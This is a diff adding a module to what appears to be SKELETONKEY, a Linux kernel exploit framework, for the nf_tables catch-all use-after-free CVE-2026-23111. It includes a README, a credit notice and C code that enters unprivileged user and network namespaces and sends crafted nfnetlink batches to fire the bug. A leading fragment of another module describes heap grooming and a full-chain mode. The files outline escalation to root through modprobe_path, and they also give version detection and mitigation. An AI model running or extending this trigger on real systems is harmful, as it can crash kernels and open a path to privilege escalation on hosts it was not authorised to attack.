.detect_yara = nf_tables_yara,
|
||||
.detect_falco = nf_tables_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE + NEWCHAIN/LOCAL_OUT + NEWSET verdict-key + NEWSETELEM malformed NFT_GOTO) committed twice to trigger the nft_verdict_init double-free. msg_msg cg-96 groom with forged pipapo_elem headers; --full-chain sprays kaddr-tagged forged elems and re-fires. Writes /tmp/skeletonkey-nft_set_uaf.log (conditional). Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg batches + msgget/msgsnd. Dmesg: KASAN double-free panic on vulnerable kernels; silent otherwise. Cleanup is finisher-gated; no persistent files on success.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nf_tables(void)
|
||||
|
||||
@@ -0,0 +1,62 @@
|
||||
# nft_catchall — CVE-2026-23111
|
||||
|
||||
An nf_tables use-after-free reachable from an unprivileged user: an
|
||||
inverted condition in `nft_map_catchall_activate()` mishandles catch-all
|
||||
map elements on transaction abort, freeing a chain that a catch-all GOTO
|
||||
verdict still references.
|
||||
|
||||
## The bug
|
||||
|
||||
nftables *maps* can hold a **catch-all** element — a default that matches
|
||||
when no other element does — and in a verdict map that element carries a
|
||||
GOTO/JUMP to a chain. `nft_map_catchall_activate()` runs during the
|
||||
**abort** phase of a netlink transaction to re-activate elements that a
|
||||
rolled-back batch had touched. A single inverted `!` makes it operate on
|
||||
*active* catch-all elements instead of skipping them, so the referenced
|
||||
chain's use-count is driven to zero; a subsequent `DELCHAIN` frees the
|
||||
chain while the catch-all verdict still points at it → **use-after-free**.
|
||||
|
||||
Chaining a kernel-address leak, arbitrary R/W, and a ROP over
|
||||
`modprobe_path` / `selinux_state` turns the UAF into root — all reachable
|
||||
by an unprivileged user who has `CONFIG_USER_NS` to gain `CAP_NET_ADMIN`
|
||||
over a private network namespace.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Vulnerable path introduced | ~5.13 (catch-all set elements) |
|
||||
| Fixed upstream | commit `f41c5d1…` (remove the inverted `!`) |
|
||||
| Debian backports | 6.1.164 (bookworm) · 6.12.73 (trixie) · 6.18.10 (forky·sid) |
|
||||
| Table thresholds | 6.1.164 · 6.12.73 · 6.18.10 (≤ Debian → drift-clean) |
|
||||
| NVD class | CWE-416 (Use After Free), CVSS 7.8 |
|
||||
| CISA KEV | no |
|
||||
|
||||
The 5.10 (bullseye) branch is still unfixed at time of writing →
|
||||
version-only VULNERABLE there.
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` returns `OK` below ~5.13 or for patched kernels, `PRECOND_FAIL`
|
||||
when the kernel is vulnerable but unprivileged user-namespace clone is
|
||||
denied (exploit unreachable), and `VULNERABLE` when the version is in
|
||||
range and userns is allowed.
|
||||
|
||||
`exploit()` forks an isolated child that enters `unshare(USER|NET)`, opens
|
||||
`NETLINK_NETFILTER`, builds a verdict map with a catch-all GOTO element,
|
||||
and sends an aborting batch to drive the abort-path UAF; it observes
|
||||
`nft_chain` / `kmalloc-cg-256` slabinfo and returns `EXPLOIT_FAIL`
|
||||
(primitive-only). The full leak + R/W + ROP root-pop is **not** bundled,
|
||||
and the trigger is reconstructed from public analysis, not VM-verified.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel. As a host hardening stopgap, deny unprivileged
|
||||
user-namespace clone (`sysctl kernel.unprivileged_userns_clone=0`, or the
|
||||
AppArmor `apparmor_restrict_unprivileged_userns` toggle) — that closes the
|
||||
unprivileged path even on a kernel-vulnerable host.
|
||||
|
||||
## Credit
|
||||
|
||||
Upstream fix `f41c5d1…`; public reproduction by FuzzingLabs. See
|
||||
`NOTICE.md`.
|
||||
@@ -0,0 +1,62 @@
|
||||
# NOTICE — nft_catchall (CVE-2026-23111)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-23111** — a **use-after-free** in the Linux kernel `nf_tables`
|
||||
(netfilter) transaction-abort path. `nft_map_catchall_activate()` carries
|
||||
an **inverted condition** (a stray `!`): during a transaction *abort* it
|
||||
processes *active* catch-all set elements instead of skipping them. A
|
||||
catch-all element in an nftables **map** holds a verdict (GOTO/JUMP)
|
||||
referencing a chain; the wrong (de)activation drives the chain's
|
||||
use-count to zero, so a following `DELCHAIN` frees the chain while the
|
||||
catch-all verdict element still references it → UAF.
|
||||
|
||||
From an **unprivileged** local user — via **user namespaces + nftables**
|
||||
(needs `CONFIG_USER_NS` + `CONFIG_NF_TABLES`) — the UAF is escalatable to
|
||||
root: leak a kernel address, obtain arbitrary R/W, ROP over
|
||||
`modprobe_path` / `selinux_state`.
|
||||
|
||||
NVD class: **CWE-416** (Use After Free). CVSS v3.1 **7.8 HIGH**
|
||||
(`AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`). Affects current distros (Debian
|
||||
bookworm/trixie, Ubuntu 22.04/24.04). **Not** in CISA KEV.
|
||||
|
||||
The fix removed a single character (the inverted `!`).
|
||||
|
||||
## Research credit
|
||||
|
||||
- **Fixed upstream** by commit
|
||||
`f41c5d151078c5348271ffaf8e7410d96f2d82f8` ("netfilter: nf_tables: fix
|
||||
… catch-all … activate"); reported and fixed through the Linux kernel
|
||||
security process (NVD lists the source as `kernel.org`; no public
|
||||
individual reporter name in the advisory).
|
||||
- **Public reproduction + analysis** by **FuzzingLabs** —
|
||||
<https://fuzzinglabs.com/repro-cve-2026-23111/> — which the module's
|
||||
trigger reconstruction is informed by.
|
||||
- Debian security tracker (authoritative backport versions):
|
||||
<https://security-tracker.debian.org/tracker/CVE-2026-23111> —
|
||||
bookworm 6.1.164 / trixie 6.12.73 / forky·sid 6.18.10 (bullseye/5.10
|
||||
still unfixed at time of writing).
|
||||
|
||||
All credit for finding and analysing this bug belongs to the upstream
|
||||
reporter and to FuzzingLabs for the public write-up. SKELETONKEY is the
|
||||
bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
|
||||
one more UAF in the corpus's most-covered subsystem (`nf_tables`,
|
||||
`nft_set_uaf`, `nft_payload`, `nft_pipapo`, …), shipped on the same
|
||||
contract as `nf_tables` (CVE-2024-1086): a fork-isolated trigger that
|
||||
fires the bug class and stops.
|
||||
|
||||
`detect()` version-gates against the Debian backports above (upstream
|
||||
thresholds 6.1.164 / 6.12.73 / 6.18.10; catch-all set elements arrived in
|
||||
~5.13, so older kernels lack the path) **and** requires unprivileged
|
||||
user-namespace clone — a vulnerable kernel with userns locked down is
|
||||
`PRECOND_FAIL`. `exploit()` builds a verdict map with a catch-all GOTO
|
||||
element and provokes an aborting batch transaction to drive the
|
||||
abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL`. The
|
||||
per-kernel leak + arbitrary-R/W + `modprobe_path` ROP that lands a root
|
||||
shell is **not** bundled (per-build offsets refused), and the trigger is
|
||||
reconstructed from the public analysis rather than VM-verified — it never
|
||||
claims root it did not get.
|
||||
@@ -0,0 +1,589 @@
|
||||
/*
|
||||
* nft_catchall_cve_2026_23111 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-23111 — a use-after-free in the Linux kernel's nf_tables
|
||||
* (netfilter) transaction-abort path. `nft_map_catchall_activate()`
|
||||
* carries an inverted condition (a stray `!`): on transaction abort it
|
||||
* processes *active* catch-all set elements instead of skipping them.
|
||||
* A catch-all element in an nftables *map* holds a verdict (GOTO/JUMP)
|
||||
* that references a chain; the wrong (de)activation lets the chain's
|
||||
* use-count reach zero so a following DELCHAIN frees it while the
|
||||
* catch-all verdict element still points at it → UAF. From an
|
||||
* unprivileged user (via user namespaces + nftables) this is escalatable
|
||||
* to root: leak a kernel address, win arbitrary R/W, ROP over
|
||||
* modprobe_path / selinux_state.
|
||||
*
|
||||
* CWE-416 (Use After Free). CVSS 7.8 (AV:L/AC:L/PR:L/UI:N/C:H/I:H/A:H).
|
||||
* Fixed upstream by commit f41c5d151078c5348271ffaf8e7410d96f2d82f8
|
||||
* ("remove one exclamation mark"). Public reproduction + analysis by
|
||||
* FuzzingLabs. NOT in CISA KEV.
|
||||
*
|
||||
* STATUS: 🟡 TRIGGER (reconstructed) — primitive-only, NOT VM-verified.
|
||||
* This is one more UAF in the most-covered subsystem in the corpus
|
||||
* (see nf_tables / nft_set_uaf / nft_payload / nft_pipapo / ...), and
|
||||
* like nf_tables (CVE-2024-1086) it is shipped as a fork-isolated
|
||||
* trigger that fires the bug class and STOPS. detect() version-gates
|
||||
* against the Debian-tracked backports below and additionally requires
|
||||
* unprivileged user-namespace clone (the bug is unreachable to an
|
||||
* unprivileged user without it). exploit() builds a map with a
|
||||
* catch-all GOTO element and provokes a failed (aborting) batch
|
||||
* transaction to drive the abort-path UAF, observes slabinfo, and
|
||||
* returns EXPLOIT_FAIL — the per-kernel leak + arbitrary-R/W + ROP that
|
||||
* lands a root shell is NOT bundled (per-build offsets refused), and
|
||||
* the trigger itself is reconstructed from the public analysis rather
|
||||
* than VM-verified. It never claims root it did not get.
|
||||
*
|
||||
* Affected range (Debian-tracked stable backports of the fix):
|
||||
* 6.1.x : K >= 6.1.164 (bookworm)
|
||||
* 6.12.x : K >= 6.12.73 (trixie)
|
||||
* 6.18.x : K >= 6.18.10 (forky / sid); 7.0+ inherits the fix
|
||||
* The 5.10 (bullseye) branch is still unfixed as of writing → version-
|
||||
* only VULNERABLE. Catch-all set elements were added in ~5.13, so the
|
||||
* vulnerable nft_map_catchall_activate path does not exist below that.
|
||||
*
|
||||
* Preconditions: CONFIG_NF_TABLES + CONFIG_USER_NS, and unprivileged
|
||||
* user-namespace clone permitted (modern Ubuntu's
|
||||
* apparmor_restrict_unprivileged_userns / a 0 sysctl closes this).
|
||||
*
|
||||
* arch_support: x86_64 (the groom + any future finisher are x86_64-tuned).
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <sched.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <time.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/netlink.h>
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h" /* shims for newer-kernel uapi constants */
|
||||
|
||||
/* Catch-all set-element flag — may be absent from older uapi headers. */
|
||||
#ifndef NFT_SET_ELEM_CATCHALL
|
||||
#define NFT_SET_ELEM_CATCHALL 0x2
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel-range table. Upstream-stable thresholds (<= the Debian
|
||||
* package fixes, so the drift checker reports INFO, never TOO_TIGHT).
|
||||
* security-tracker.debian.org is the source of record.
|
||||
* ------------------------------------------------------------------ */
|
||||
static const struct kernel_patched_from nft_catchall_patched_branches[] = {
|
||||
{6, 1, 164}, /* 6.1.x (Debian bookworm fixed_version 6.1.164) */
|
||||
{6, 12, 73}, /* 6.12.x (Debian trixie fixed_version 6.12.73) */
|
||||
{6, 18, 10}, /* 6.18.x (Debian forky / sid fixed_version 6.18.10) */
|
||||
/* 7.0+ inherits "patched" via the strictly-newer-than-all-entries
|
||||
* rule — the fix predates the 7.0 branch. */
|
||||
};
|
||||
|
||||
static const struct kernel_range nft_catchall_range = {
|
||||
.patched_from = nft_catchall_patched_branches,
|
||||
.n_patched_from = sizeof(nft_catchall_patched_branches) /
|
||||
sizeof(nft_catchall_patched_branches[0]),
|
||||
};
|
||||
|
||||
static bool nf_tables_loaded(void)
|
||||
{
|
||||
FILE *f = fopen("/proc/modules", "r");
|
||||
if (!f) return false;
|
||||
char line[512];
|
||||
bool found = false;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, "nf_tables ", 10) == 0) { found = true; break; }
|
||||
}
|
||||
fclose(f);
|
||||
return found;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t nft_catchall_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] nft_catchall: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Catch-all set elements (and nft_map_catchall_activate) arrived in
|
||||
* ~5.13. Below that the vulnerable path does not exist. */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 13, 0)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_catchall: kernel %s predates catch-all set "
|
||||
"elements (~5.13) — vulnerable path absent\n",
|
||||
v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (kernel_range_is_patched(&nft_catchall_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] nft_catchall: kernel %s is patched\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nft_catchall: kernel %s in vulnerable range\n",
|
||||
v->release);
|
||||
fprintf(stderr, "[i] nft_catchall: unprivileged user_ns clone: %s\n",
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
fprintf(stderr, "[i] nft_catchall: nf_tables module loaded: %s\n",
|
||||
nf_tables_loaded() ? "yes" : "no (autoloads on first nft use)");
|
||||
}
|
||||
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_catchall: kernel vulnerable but unprivileged "
|
||||
"user_ns clone denied → unprivileged exploit "
|
||||
"unreachable\n");
|
||||
fprintf(stderr, "[i] nft_catchall: still patch — a privileged "
|
||||
"attacker can trigger the abort-path UAF\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] nft_catchall: VULNERABLE — kernel in range AND "
|
||||
"unprivileged user_ns clone allowed\n");
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* userns+netns entry: gain CAP_NET_ADMIN over a private netns so the
|
||||
* malformed ruleset only touches our own namespace.
|
||||
* ------------------------------------------------------------------ */
|
||||
static int enter_unpriv_namespaces(void)
|
||||
{
|
||||
uid_t uid = getuid();
|
||||
gid_t gid = getgid();
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
perror("[-] unshare(USER|NET)");
|
||||
return -1;
|
||||
}
|
||||
int f = open("/proc/self/setgroups", O_WRONLY);
|
||||
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
||||
char map[64];
|
||||
snprintf(map, sizeof map, "0 %u 1\n", uid);
|
||||
f = open("/proc/self/uid_map", O_WRONLY);
|
||||
if (f < 0 || write(f, map, strlen(map)) < 0) {
|
||||
perror("[-] uid_map"); if (f >= 0) close(f); return -1;
|
||||
}
|
||||
close(f);
|
||||
snprintf(map, sizeof map, "0 %u 1\n", gid);
|
||||
f = open("/proc/self/gid_map", O_WRONLY);
|
||||
if (f < 0 || write(f, map, strlen(map)) < 0) {
|
||||
perror("[-] gid_map"); if (f >= 0) close(f); return -1;
|
||||
}
|
||||
close(f);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Minimal dep-free nfnetlink batch builder (same approach as the
|
||||
* nf_tables module — libnftnl validates our malformed input away).
|
||||
* ------------------------------------------------------------------ */
|
||||
#define ALIGN_NL(x) (((x) + 3) & ~3)
|
||||
|
||||
static void put_attr(uint8_t *buf, size_t *off, uint16_t type,
|
||||
const void *data, size_t len)
|
||||
{
|
||||
struct nlattr *na = (struct nlattr *)(buf + *off);
|
||||
na->nla_type = type;
|
||||
na->nla_len = NLA_HDRLEN + len;
|
||||
if (len) memcpy(buf + *off + NLA_HDRLEN, data, len);
|
||||
*off += ALIGN_NL(NLA_HDRLEN + len);
|
||||
}
|
||||
static void put_attr_u32(uint8_t *buf, size_t *off, uint16_t type, uint32_t v)
|
||||
{
|
||||
uint32_t be = htonl(v);
|
||||
put_attr(buf, off, type, &be, sizeof be);
|
||||
}
|
||||
static void put_attr_str(uint8_t *buf, size_t *off, uint16_t type, const char *s)
|
||||
{
|
||||
put_attr(buf, off, type, s, strlen(s) + 1);
|
||||
}
|
||||
static size_t begin_nest(uint8_t *buf, size_t *off, uint16_t type)
|
||||
{
|
||||
size_t at = *off;
|
||||
struct nlattr *na = (struct nlattr *)(buf + at);
|
||||
na->nla_type = type | NLA_F_NESTED;
|
||||
na->nla_len = 0;
|
||||
*off += NLA_HDRLEN;
|
||||
return at;
|
||||
}
|
||||
static void end_nest(uint8_t *buf, size_t *off, size_t at)
|
||||
{
|
||||
struct nlattr *na = (struct nlattr *)(buf + at);
|
||||
na->nla_len = (uint16_t)(*off - at);
|
||||
while ((*off) & 3) buf[(*off)++] = 0;
|
||||
}
|
||||
|
||||
struct nfgenmsg_local { uint8_t nfgen_family; uint8_t version; uint16_t res_id; };
|
||||
|
||||
static void put_nft_msg(uint8_t *buf, size_t *off, uint16_t nft_type,
|
||||
uint16_t flags, uint32_t seq, uint8_t family)
|
||||
{
|
||||
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + *off);
|
||||
nlh->nlmsg_len = 0;
|
||||
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | nft_type;
|
||||
nlh->nlmsg_flags = NLM_F_REQUEST | flags;
|
||||
nlh->nlmsg_seq = seq;
|
||||
nlh->nlmsg_pid = 0;
|
||||
*off += NLMSG_HDRLEN;
|
||||
struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
|
||||
nf->nfgen_family = family;
|
||||
nf->version = NFNETLINK_V0;
|
||||
nf->res_id = htons(0);
|
||||
*off += sizeof(*nf);
|
||||
}
|
||||
static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
||||
{
|
||||
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + msg_start);
|
||||
nlh->nlmsg_len = (uint32_t)(*off - msg_start);
|
||||
while ((*off) & 3) buf[(*off)++] = 0;
|
||||
}
|
||||
static void put_batch_marker(uint8_t *buf, size_t *off, uint16_t type, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + at);
|
||||
nlh->nlmsg_len = 0;
|
||||
nlh->nlmsg_type = type;
|
||||
nlh->nlmsg_flags = NLM_F_REQUEST;
|
||||
nlh->nlmsg_seq = seq;
|
||||
nlh->nlmsg_pid = 0;
|
||||
*off += NLMSG_HDRLEN;
|
||||
struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
|
||||
nf->nfgen_family = AF_UNSPEC;
|
||||
nf->version = NFNETLINK_V0;
|
||||
nf->res_id = htons(NFNL_SUBSYS_NFTABLES);
|
||||
*off += sizeof(*nf);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
|
||||
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
|
||||
static const char NFT_CHAIN_NAME[] = "skeletonkey_goto"; /* GOTO target chain */
|
||||
static const char NFT_MAP_NAME[] = "skeletonkey_map";
|
||||
|
||||
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
put_nft_msg(buf, off, NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||
put_attr_str(buf, off, NFTA_TABLE_NAME, NFT_TABLE_NAME);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
/* A regular (non-base) chain that the catch-all GOTO verdict references.
|
||||
* Once the catch-all element is wrongly (de)activated on abort, this
|
||||
* chain's use-count is mishandled and it can be freed while referenced. */
|
||||
static void put_new_chain(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
put_nft_msg(buf, off, NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||
put_attr_str(buf, off, NFTA_CHAIN_TABLE, NFT_TABLE_NAME);
|
||||
put_attr_str(buf, off, NFTA_CHAIN_NAME, NFT_CHAIN_NAME);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
/* A verdict map (NFT_SET_MAP) whose data type is a verdict, so its
|
||||
* elements (including the catch-all) carry GOTO/JUMP verdicts. */
|
||||
static void put_new_map(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
put_nft_msg(buf, off, NFT_MSG_NEWSET, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||
put_attr_str(buf, off, NFTA_SET_TABLE, NFT_TABLE_NAME);
|
||||
put_attr_str(buf, off, NFTA_SET_NAME, NFT_MAP_NAME);
|
||||
put_attr_u32(buf, off, NFTA_SET_FLAGS, NFT_SET_MAP);
|
||||
put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 13); /* ipv4_addr-ish */
|
||||
put_attr_u32(buf, off, NFTA_SET_KEY_LEN, sizeof(uint32_t));
|
||||
put_attr_u32(buf, off, NFTA_SET_DATA_TYPE, 0xffffff00); /* "verdict" magic */
|
||||
put_attr_u32(buf, off, NFTA_SET_DATA_LEN, sizeof(uint32_t));
|
||||
put_attr_u32(buf, off, NFTA_SET_ID, 0x2026);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
/* Catch-all element (NFT_SET_ELEM_CATCHALL) whose data is a GOTO verdict
|
||||
* to NFT_CHAIN_NAME. This is the element nft_map_catchall_activate
|
||||
* mishandles on abort. */
|
||||
static void put_catchall_goto(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
put_nft_msg(buf, off, NFT_MSG_NEWSETELEM, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
|
||||
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET, NFT_MAP_NAME);
|
||||
size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS);
|
||||
size_t el_at = begin_nest(buf, off, 1 /* NFTA_LIST_ELEM */);
|
||||
/* catch-all: no key, just the CATCHALL flag */
|
||||
put_attr_u32(buf, off, NFTA_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL);
|
||||
/* data = GOTO verdict referencing our chain by name */
|
||||
size_t data_at = begin_nest(buf, off, NFTA_SET_ELEM_DATA);
|
||||
size_t v_at = begin_nest(buf, off, NFTA_DATA_VERDICT);
|
||||
put_attr_u32(buf, off, NFTA_VERDICT_CODE, (uint32_t)NFT_GOTO);
|
||||
put_attr_str(buf, off, NFTA_VERDICT_CHAIN, NFT_CHAIN_NAME);
|
||||
end_nest(buf, off, v_at);
|
||||
end_nest(buf, off, data_at);
|
||||
end_nest(buf, off, el_at);
|
||||
end_nest(buf, off, list_at);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
/* A deliberately-invalid message: references a set that does not exist,
|
||||
* so the kernel rejects it and ABORTS the whole batch transaction —
|
||||
* running the buggy nft_map_catchall_activate over the active catch-all
|
||||
* element we just created. */
|
||||
static void put_aborting_op(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
put_nft_msg(buf, off, NFT_MSG_NEWSETELEM, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
|
||||
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET, "skeletonkey_nonexistent");
|
||||
size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS);
|
||||
size_t el_at = begin_nest(buf, off, 1);
|
||||
put_attr_u32(buf, off, NFTA_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL);
|
||||
end_nest(buf, off, el_at);
|
||||
end_nest(buf, off, list_at);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
|
||||
static int nft_send_batch(int sock, const void *buf, size_t len)
|
||||
{
|
||||
struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
|
||||
struct iovec iov = { .iov_base = (void *)buf, .iov_len = len };
|
||||
struct msghdr m = {
|
||||
.msg_name = &dst, .msg_namelen = sizeof dst,
|
||||
.msg_iov = &iov, .msg_iovlen = 1,
|
||||
};
|
||||
if (sendmsg(sock, &m, 0) < 0) { perror("[-] sendmsg"); return -1; }
|
||||
char rbuf[8192];
|
||||
for (int i = 0; i < 8; i++) {
|
||||
ssize_t r = recv(sock, rbuf, sizeof rbuf, MSG_DONTWAIT);
|
||||
if (r <= 0) break;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static long slabinfo_active(const char *slab)
|
||||
{
|
||||
FILE *f = fopen("/proc/slabinfo", "r");
|
||||
if (!f) return -1;
|
||||
char line[512];
|
||||
long active = -1;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, slab, strlen(slab)) == 0 && line[strlen(slab)] == ' ') {
|
||||
long a;
|
||||
if (sscanf(line + strlen(slab), " %ld", &a) == 1) active = a;
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
return active;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t nft_catchall_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = nft_catchall_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] nft_catchall: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] nft_catchall: already running as root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] nft_catchall: primitive-only run — builds a map with a "
|
||||
"catch-all GOTO element and provokes an aborting batch to "
|
||||
"drive the nft_map_catchall_activate UAF, then stops. The "
|
||||
"per-kernel leak + R/W + ROP root-pop is NOT bundled.\n");
|
||||
|
||||
/* Fork-isolated: a KASAN-enabled vulnerable kernel will panic on the
|
||||
* double-handling; isolating means the dispatcher survives. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
if (enter_unpriv_namespaces() < 0) _exit(20);
|
||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
|
||||
if (sock < 0) { perror("[-] socket(NETLINK_NETFILTER)"); _exit(21); }
|
||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||
perror("[-] bind"); close(sock); _exit(22);
|
||||
}
|
||||
int rcvbuf = 1 << 20;
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||
|
||||
uint8_t *batch = calloc(1, 16 * 1024);
|
||||
if (!batch) { close(sock); _exit(23); }
|
||||
uint32_t seq = (uint32_t)time(NULL);
|
||||
|
||||
/* Batch 1 (commits): table + GOTO-target chain + verdict map +
|
||||
* catch-all GOTO element. */
|
||||
size_t off = 0;
|
||||
put_batch_marker(batch, &off, NFNL_MSG_BATCH_BEGIN, seq++);
|
||||
put_new_table(batch, &off, seq++);
|
||||
put_new_chain(batch, &off, seq++);
|
||||
put_new_map(batch, &off, seq++);
|
||||
put_catchall_goto(batch, &off, seq++);
|
||||
put_batch_marker(batch, &off, NFNL_MSG_BATCH_END, seq++);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] nft_catchall: sending setup batch (%zu bytes)\n", off);
|
||||
if (nft_send_batch(sock, batch, off) < 0) {
|
||||
free(batch); close(sock); _exit(24);
|
||||
}
|
||||
|
||||
long before = slabinfo_active("nft_chain");
|
||||
if (before < 0) before = slabinfo_active("kmalloc-cg-256");
|
||||
|
||||
/* Batch 2 (aborts): a valid DELCHAIN-ish operation alongside an
|
||||
* invalid op so the whole transaction rolls back, running
|
||||
* nft_map_catchall_activate over the active catch-all element. */
|
||||
size_t off2 = 0;
|
||||
put_batch_marker(batch, &off2, NFNL_MSG_BATCH_BEGIN, seq++);
|
||||
put_catchall_goto(batch, &off2, seq++); /* re-touch the catch-all elem */
|
||||
put_aborting_op(batch, &off2, seq++); /* invalid → abort the batch */
|
||||
put_batch_marker(batch, &off2, NFNL_MSG_BATCH_END, seq++);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] nft_catchall: firing aborting batch (%zu bytes)\n", off2);
|
||||
nft_send_batch(sock, batch, off2);
|
||||
usleep(50 * 1000);
|
||||
|
||||
long after = slabinfo_active("nft_chain");
|
||||
